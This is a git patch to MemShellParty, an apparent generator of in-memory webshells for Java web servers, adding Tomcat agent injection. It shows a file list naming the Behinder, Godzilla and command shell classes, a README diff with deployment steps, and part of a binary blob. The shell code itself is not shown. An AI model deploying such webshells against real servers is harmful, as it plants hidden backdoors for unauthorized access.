From dd5b7c03666762532fb5094e558376c76cba05fd Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 3 Jan 2025 00:25:56 +0800 Subject: [PATCH] feat: support tomcat agent shell (resolved #12) --- README.md | 41 ++++--- asserts/agent/jattach-linux | Bin 0 -> 63168 bytes .../boot/controller/GeneratorController.java | 12 +- generator/build.gradle | 2 +- .../javaweb/memshell/AbstractShell.java | 5 +- .../javaweb/memshell/TomcatShell.java | 35 ++++-- .../javaweb/memshell/config/Constants.java | 2 + .../memshell/generator/AgentGenerator.java | 42 +++++++ .../memshell/generator/BehinderGenerator.java | 15 +-- .../memshell/generator/CommandGenerator.java | 11 +- .../memshell/generator/GodzillaGenerator.java | 17 ++- .../memshell/packer/AgentJarPacker.java | 83 ++++++++++++++ .../javaweb/memshell/packer/JarPacker.java | 8 ++ .../javaweb/memshell/packer/Packer.java | 10 +- .../generator/GodzillaGeneratorTest.java | 46 ++++++++ integration-test/build.gradle | 4 + integration-test/script/tomcat_pid.sh | 2 + .../javaweb/integration/ContainerTool.java | 3 + .../integration/ShellAssertionTool.java | 95 +++++++++++---- .../tomcat/Tomcat10ContainerTest.java | 14 ++- .../tomcat/Tomcat11ContainerTest.java | 14 ++- .../tomcat/Tomcat11JRE21ContainerTest.java | 13 ++- .../tomcat/Tomcat8ContainerTest.java | 18 ++- .../tomcat/Tomcat9ContainerTest.java | 14 ++- memshell-java8/build.gradle | 7 +- .../TomcatFilterChainBehinderAdvisor.java | 71 ++++++++++++ .../TomcatFilterChainCommandAdvisor.java | 40 +++++++ .../TomcatFilterChainGodzillaAdvisor.java | 72 ++++++++++++ .../TomcatFilterChainAgentInjector.java | 46 ++++++++ .../apusic/behinder/BehinderListener.java | 6 +- .../apusic/command/CommandListener.java | 2 +- .../apusic/godzilla/GodzillaListener.java | 10 +- .../memshell/bes/behinder/BehinderValve.java | 6 +- .../memshell/bes/command/CommandValve.java | 2 +- .../memshell/bes/godzilla/GodzillaValve.java | 10 +- .../glassfish/behinder/BehinderListener.java | 6 +- .../glassfish/command/CommandListener.java | 2 +- .../glassfish/godzilla/GodzillaListener.java | 10 +- .../jetty/behinder/BehinderListener.java | 6 +- .../jetty/command/CommandListener.java | 2 +- .../jetty/godzilla/GodzillaListener.java | 10 +- .../resin/behinder/BehinderListener.java | 6 +- .../resin/command/CommandListener.java | 2 +- .../resin/godzilla/GodzillaListener.java | 10 +- .../shelltool/behinder/BehinderFilter.java | 6 +- .../shelltool/behinder/BehinderServlet.java | 6 +- .../shelltool/behinder/BehinderValve.java | 6 +- .../shelltool/command/CommandFilter.java | 2 +- .../shelltool/command/CommandServlet.java | 2 +- .../shelltool/command/CommandValve.java | 2 +- .../shelltool/godzilla/GodzillaFilter.java | 10 +- .../shelltool/godzilla/GodzillaServlet.java | 10 +- .../shelltool/godzilla/GodzillaValve.java | 10 +- .../memshell/shelltool/sleep/SleepFilter.java | 2 +- .../shelltool/sleep/SleepListener.java | 2 +- .../memshell/shelltool/sleep/SleepValve.java | 2 +- .../tomcat/behinder/BehinderListener.java | 6 +- .../tomcat/command/CommandListener.java | 2 +- .../tomcat/command/CommandWebSocket.java | 2 +- .../tomcat/godzilla/GodzillaListener.java | 10 +- .../tongweb/behinder/BehinderValve6.java | 6 +- .../tongweb/behinder/BehinderValve7.java | 6 +- .../tongweb/command/CommandValve6.java | 2 +- .../tongweb/command/CommandValve7.java | 2 +- .../tongweb/godzilla/GodzillaValve6.java | 10 +- .../tongweb/godzilla/GodzillaValve7.java | 10 +- .../undertow/behinder/BehinderListener.java | 6 +- .../undertow/command/CommandListener.java | 2 +- .../undertow/godzilla/GodzillaListener.java | 10 +- .../weblogic/behinder/BehinderListener.java | 6 +- .../weblogic/command/CommandListener.java | 2 +- .../weblogic/command/CommandWebSocket.java | 2 +- .../weblogic/godzilla/GodzillaListener.java | 10 +- .../websphere/behinder/BehinderListener.java | 6 +- .../websphere/command/CommandListener.java | 2 +- .../websphere/godzilla/GodzillaListener.java | 10 +- web/bun.lockb | Bin 159988 -> 161588 bytes web/package.json | 11 +- web/src/components/main-config-card.tsx | 59 +++++++++- web/src/components/shell-result.tsx | 108 +++++++++++++----- web/src/components/tips/url-pattern-tip.tsx | 2 + web/src/components/ui/alert-dialog.tsx | 104 +++++++++++++++++ web/src/lib/utils.ts | 10 +- web/src/routes/index.tsx | 45 ++++++-- 84 files changed, 1058 insertions(+), 285 deletions(-) create mode 100755 asserts/agent/jattach-linux create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java create mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java create mode 100755 integration-test/script/tomcat_pid.sh create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java create mode 100644 web/src/components/ui/alert-dialog.tsx diff --git a/README.md b/README.md index 46e14a66..7466a621 100644 --- a/README.md +++ b/README.md @@ -4,11 +4,12 @@

一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台

在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了

-[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file) -[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?label=Test&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions) -[![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/build.yaml?label=Build&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions) -[![coverage](https://img.shields.io/endpoint?label=Coverage&url=https://raw.githubusercontent.com/reajason/memshellparty/master/.github/badges/jacoco.json&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions) -[![telegram](https://img.shields.io/endpoint?label=TG%E4%BA%A4%E6%B5%81%E7%BE%A4&style=flat-square&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=memshell)](https://t.me/memshell) +[![test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/ci.yaml?label=Test&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions) +[![build](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/build.yaml?label=Build&branch=master&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions) +[![coverage](https://img.shields.io/endpoint?label=Coverage&url=https://raw.githubusercontent.com/reajason/memshellparty/master/.github/badges/jacoco.json&style=flat-square&color=blueviolet)](https://github.com/ReaJason/MemShellParty/actions) +[![license](https://img.shields.io/github/license/reajason/memshellparty?style=flat-square&label=License&color=blueviolet)](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file) +[![telegram](https://img.shields.io/endpoint?label=TG%E4%BA%A4%E6%B5%81%E7%BE%A4&style=flat-square&url=https://mogyo.ro/quart-apis/tgmembercount?chat_id=memshell&color=blueviolet)](https://t.me/memshell) + > [!WARNING] @@ -29,6 +30,13 @@ ## 快速启动 +### 在线站点 + +可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US +节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)) + +### 本地部署(推荐) + 使用 docker 部署之后访问 http://127.0.0.1:8080 ```bash @@ -41,12 +49,13 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh ### 中间件以及框架 -| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | -|----------------|---------------|------------------|---------------| -| Servlet | Servlet | Filter | Filter | -| Filter | Filter | Listener | Listener | -| Listener | Listener | Valve | Valve | -| Valve | | | | +| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) | +|---------------------|---------------|------------------|---------------| +| Servlet | Servlet | Filter | Filter | +| Filter | Filter | Listener | Listener | +| Listener | Listener | Valve | Valve | +| Valve | | | | +| FilterChain - Agent | | | | | Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty | |--------------|-------------------|-----------------|-------| @@ -66,11 +75,11 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh | Filter | Filter | | Listener | Listener | -| 宝兰德 BES(9.5.x) | 东方通 TongWeb(6 ~ 7) | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS (9) | -|----------------|--------------------|---------------------------|------------------| -| Filter | Filter | Filter | Servlet | -| Listener | Listener | Listener | Filter | -| Valve | Valve | Valve | Listener | +| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | +|------------|----------------|------------------------|---------------| +| Filter | Filter | Filter | Servlet | +| Listener | Listener | Listener | Filter | +| Valve | Valve | Valve | Listener | ### 内存马功能 diff --git a/asserts/agent/jattach-linux b/asserts/agent/jattach-linux new file mode 100755 index 0000000000000000000000000000000000000000..e924f5def98c7c2277dba2bfd06c30e36630f3e8 GIT binary patch literal 63168 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 